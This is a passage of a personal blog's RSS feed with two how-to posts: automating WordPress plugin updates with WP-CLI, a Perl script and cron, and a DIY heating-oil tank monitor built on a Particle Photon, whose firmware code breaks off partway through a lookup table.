&lt;p&gt;The idea is to use the WordPress CLI in order to &amp;ldquo;query&amp;rdquo; the local plugins database for plugin names, version number, and &amp;ldquo;activated&amp;rdquo; status, and then compare the &amp;ldquo;local&amp;rdquo; plugin version with the &amp;ldquo;remote&amp;rdquo; plugin version. If the plugin is active and in need of an update, fall back to my original Perl script to update it. Aha! And now we have something that can be cron-ed 🙂&lt;/p&gt;
&lt;p&gt;To get started, first grab the WP CLI utility. We are going to rename it, move it to an accessible place, and take care of permissions so that we can use it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -O  https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo mv wp-cli.phar /usr/local/bin/wp &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod +x /usr/local/bin/wp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>A long time ago I became frustrated with having to update my WordPress plugins manually, so I created a Perl script and a blog post (<a href="/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/">vpetkov.net/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/</a>) that explained how to automate this. The idea was quite simple: feed a plugin name, have the script check the WordPress plugins page for the latest versioned download, grab it, and extract it over the specified blog plugins directory and thus update the plugin.</p>
<p>The script was simple and it worked very well. It made dealing with plugins many times easier. However, there was one big down side as some users pointed out - it did not actually check if a plugin needed to be updated. It blindly replaced the current plugin with the latest version. This meant that there was no way to &ldquo;efficiently&rdquo; automate it. If you cron-ed it directly, it would simply pull and update all your plugins at whatever period you specified. For the longest time this really irritated me, but I didn&rsquo;t have time to dig through WordPress to understand how the engined checked and signaled for local plugins. One particular user (<a href="http://blog.droidzone.in/2013/03/31/automatically-update-all-wordpress-plugins-from-bash/">Joel</a>) forked a copy and made many improvements to deal with this specific issue.</p>
<p>As time went on, I decided to look at this problem again. A couple of years ago I solved it in a really elegant way, but I didn&rsquo;t have time to update the blog post. A few days ago, after looking at the blog statistics, I realized that the WordPress article was one of the top 10 most popular ones. So, with that said, here is:</p>
<h2 id="a-new-simple-and-elegant-solution">A new simple and elegant solution</h2>
<p>The idea is to use the WordPress CLI in order to &ldquo;query&rdquo; the local plugins database for plugin names, version number, and &ldquo;activated&rdquo; status, and then compare the &ldquo;local&rdquo; plugin version with the &ldquo;remote&rdquo; plugin version. If the plugin is active and in need of an update, fall back to my original Perl script to update it. Aha! And now we have something that can be cron-ed 🙂</p>
<p>To get started, first grab the WP CLI utility. We are going to rename it, move it to an accessible place, and take care of permissions so that we can use it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -O  https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
</span></span><span class="line"><span class="cl">sudo mv wp-cli.phar /usr/local/bin/wp <span class="o">&amp;&amp;</span> chmod +x /usr/local/bin/wp
</span></span></code></pre></div><p>Now, grab the Perl script (<a href="/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/">vpetkov.net/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/</a>) and save it as:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/usr/local/bin/update-wp-plugins.pl
</span></span></code></pre></div><p>Finally, you can simply run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># create a file: /usr/local/bin/check-wp-plugins.sh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/usr/local/bin/wp plugin list --format<span class="o">=</span>csv <span class="se">\
</span></span></span><span class="line"><span class="cl">--status<span class="o">=</span>active --update<span class="o">=</span>available <span class="se">\
</span></span></span><span class="line"><span class="cl">--path<span class="o">=</span>/var/www/wordpress-blog <span class="se">\
</span></span></span><span class="line"><span class="cl">--fields<span class="o">=</span>name <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="p">|</span> egrep -v <span class="s1">&#39;^name$&#39;</span> <span class="p">|</span> xargs -L1 /usr/local/bin/update-wp-plugins.pl
</span></span></code></pre></div><p>This will check the plugins for activate ones that have an update available (local version doesn&rsquo;t match remote) and extract them + feed them to my perl script to have them update.</p>
<p>If you save the final script as let&rsquo;s say &ldquo;check-wp-plugins.sh&rdquo; in /usr/local/bin, you can simply run a cron job with:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="m">0</span> <span class="m">0</span> * * <span class="m">0</span> /usr/local/bin/check-wp-plugins.sh
</span></span></code></pre></div><p>You have to admit - this is just beautiful!</p>]]></content:encoded>
    </item>
    <item>
      <title>DIY - Monitor Heating Oil Tank Gallons with Pushbullet, SMS, and Email Alerting</title>
      <link>https://vpetkov.net/2017/11/12/diy-monitor-heating-oil-tank-gallons-with-pushbullet-sms-and-email-alerting/</link>
      <pubDate>Sun, 12 Nov 2017 08:01:14 +0000</pubDate>
      <guid>https://vpetkov.net/2017/11/12/diy-monitor-heating-oil-tank-gallons-with-pushbullet-sms-and-email-alerting/</guid>
      <description>&lt;p&gt;&lt;strong&gt;NOTE: Updated code 10-27-2018&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this day and age where everything is measured, recorded, and available remotely (via a REST API most of the time!), it really bothered me that our heating oil tank measured the remaining gallons of oil by a crude plastic dip stick. It&amp;rsquo;s not accurate, there is no historical data, and there is no way to audit (for honesty, accuracy, or problems/errors).&lt;/p&gt;
&lt;p&gt;So the problem is simple enough: Find a quick and easy way to remotely monitor the number of gallons of heating oil in a home, and alert at pre-set intervals (let&amp;rsquo;s say 75%, 50%, and 25%) of remaining oil in the tank.&lt;/p&gt;
&lt;p&gt;After looking for commercial solutions, the cheapest one I found is $120 with a $10/year fee. In my view, that&amp;rsquo;s simply ridiculous. I decided that I could build something better for 1/3rd of the price ($40), without an yearly fee.&lt;/p&gt;
&lt;h2 id=&#34;hardware-how-to&#34;&gt;Hardware How-To&lt;/h2&gt;
&lt;p&gt;Start with this Instructable I created with the exact parts/steps, and with lots of pictures:&lt;br&gt;
&lt;a href=&#34;https://www.instructables.com/id/Monitor-Heating-Oil-Tank-Gallons-With-Email-SMS-an/&#34;&gt;https://www.instructables.com/id/Monitor-Heating-Oil-Tank-Gallons-With-Email-SMS-an/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This should take care of the hardware side.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><strong>NOTE: Updated code 10-27-2018</strong></p>
<p>In this day and age where everything is measured, recorded, and available remotely (via a REST API most of the time!), it really bothered me that our heating oil tank measured the remaining gallons of oil by a crude plastic dip stick. It&rsquo;s not accurate, there is no historical data, and there is no way to audit (for honesty, accuracy, or problems/errors).</p>
<p>So the problem is simple enough: Find a quick and easy way to remotely monitor the number of gallons of heating oil in a home, and alert at pre-set intervals (let&rsquo;s say 75%, 50%, and 25%) of remaining oil in the tank.</p>
<p>After looking for commercial solutions, the cheapest one I found is $120 with a $10/year fee. In my view, that&rsquo;s simply ridiculous. I decided that I could build something better for 1/3rd of the price ($40), without an yearly fee.</p>
<h2 id="hardware-how-to">Hardware How-To</h2>
<p>Start with this Instructable I created with the exact parts/steps, and with lots of pictures:<br>
<a href="https://www.instructables.com/id/Monitor-Heating-Oil-Tank-Gallons-With-Email-SMS-an/">https://www.instructables.com/id/Monitor-Heating-Oil-Tank-Gallons-With-Email-SMS-an/</a></p>
<p>This should take care of the hardware side.</p>
<h2 id="firmware-code-and-how-to-access-data">Firmware code and How-To Access Data</h2>
<p>Once you have it built - flash your Photon with the code here (see bellow - large code paste).</p>
<p>After that, you should be able to do this from the particle CLI (replace $device-id-here$ with actual device #):</p>
<pre tabindex="0"><code># This will tell you how many inches away from the sensor the oil is. It is the only &#34;100% accurate&#34; (non-calculated, but actually measured that is)
particle get $device-id-here$ distance

# This is calculated based on the first one and assuming a 275 gallon tank:
particle get $device-id-here$ oil-inches

# And using well known charts (like this: http://www.adamspetro.com/residential-heating-tank-chart), gallons are calculated:
particle get $device-id-here$ oil-gallons

# You can also get a real time stream (every 10 seconds with current firmware code):
particle subscribe oil-gallons mine
</code></pre><p>If you have not used the Particle Photon, I am going to provide some additional information on the bottom of this post that will walk you through building/flashing the code, and how to setup the web hook. I have also added a lot of pictures of this on the Instructables page to go with the steps.</p>
<p>Particle Photon web IDE code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// By: Ventz Petkov
</span></span></span><span class="line"><span class="cl"><span class="c1">// LAST UPDATED: 10-27-2018
</span></span></span><span class="line"><span class="cl"><span class="c1">// This #include statement was automatically added by the Particle IDE.
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;HC_SR04.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">double</span> <span class="n">inches</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">double</span> <span class="n">inches_of_oil</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">double</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">trigPin</span> <span class="o">=</span> <span class="n">D0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">echoPin</span> <span class="o">=</span> <span class="n">D1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert2</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert4</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert5</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">alert6</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">Connect an HC-SR04 Range finder as follows:
</span></span></span><span class="line"><span class="cl"><span class="cm">Spark   HC-SR04
</span></span></span><span class="line"><span class="cl"><span class="cm">GND     GND
</span></span></span><span class="line"><span class="cl"><span class="cm">5V      VCC
</span></span></span><span class="line"><span class="cl"><span class="cm">D0     Trig
</span></span></span><span class="line"><span class="cl"><span class="cm">D1      Echo
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">The default usable rangefinder is 10cm to 250cm. Outside of that range -1 is returned as the distance.
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">You can change this range by supplying two extra parameters to the constructor of minCM and maxCM, like this:
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">HC_SR04 rangefinder = HC_SR04(trigPin, echoPin, 5.0, 300.0);
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">Inches of oil to gallons:
</span></span></span><span class="line"><span class="cl"><span class="cm">http://www.adamspetro.com/residential-heating-tank-chart
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">HC_SR04</span> <span class="n">rangefinder</span> <span class="o">=</span> <span class="nf">HC_SR04</span><span class="p">(</span><span class="n">trigPin</span><span class="p">,</span> <span class="n">echoPin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// NOTE: distance is the only TRUE/&#34;non-calculated&#34; measurement away from the sensor
</span></span></span><span class="line"><span class="cl">    <span class="n">Particle</span><span class="p">.</span><span class="nf">variable</span><span class="p">(</span><span class="s">&#34;distance&#34;</span><span class="p">,</span> <span class="n">inches</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">Particle</span><span class="p">.</span><span class="nf">variable</span><span class="p">(</span><span class="s">&#34;oil-inches&#34;</span><span class="p">,</span> <span class="n">inches_of_oil</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// NOTE: When comparing with physical oil gauges, always read it at the TOP of the &#34;wedge&#34; if it&#39;s not a thin &#34;line&#34; type of gague.
</span></span></span><span class="line"><span class="cl">    <span class="n">Particle</span><span class="p">.</span><span class="nf">variable</span><span class="p">(</span><span class="s">&#34;oil-gallons&#34;</span><span class="p">,</span> <span class="n">gallons_of_oil</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> 
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">    NOTE: This assumes a 275 Gallon Vertical Oil tank - the most popular residential (&#34;home&#34;) tank.
</span></span></span><span class="line"><span class="cl"><span class="cm">          If you have something else, please modify the inches to gallons bellow per the provided URL chart.
</span></span></span><span class="line"><span class="cl"><span class="cm">          The max capacity on a 275 gallon tank is 266 gallons, and most companies fill it up to 250-255 gallons.
</span></span></span><span class="line"><span class="cl"><span class="cm">    */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">inches</span> <span class="o">=</span> <span class="n">rangefinder</span><span class="p">.</span><span class="nf">getDistanceInch</span><span class="p">();</span> <span class="n">inches</span> <span class="o">=</span> <span class="n">rangefinder</span><span class="p">.</span><span class="nf">getDistanceInch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">inches_of_oil</span> <span class="o">=</span> <span class="nf">round</span><span class="p">((</span><span class="mf">45.89</span> <span class="o">-</span> <span class="n">inches</span><span class="p">)</span><span class="o">*</span><span class="mi">10</span><span class="p">)</span><span class="o">/</span><span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">44</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">275</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">274.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">274.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">274.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">273.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">273.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">273.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">272.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">272.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">43.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">272.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">43</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">272</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">271.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">271.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">270.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">270.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">270</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">269.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">269.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">268.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">42.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">268.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">42</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">268</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">267.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">267.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">266.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">266.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">266</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">265.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">265.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">264.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">41.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">264.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">41</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">264</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">263.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">263</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">262.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">262</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">261.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">261</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">260.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">260</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">40.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">259.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">40</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">259</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">258.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">39.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">258</span><span class="p">;</span> <span class="p">}</span>
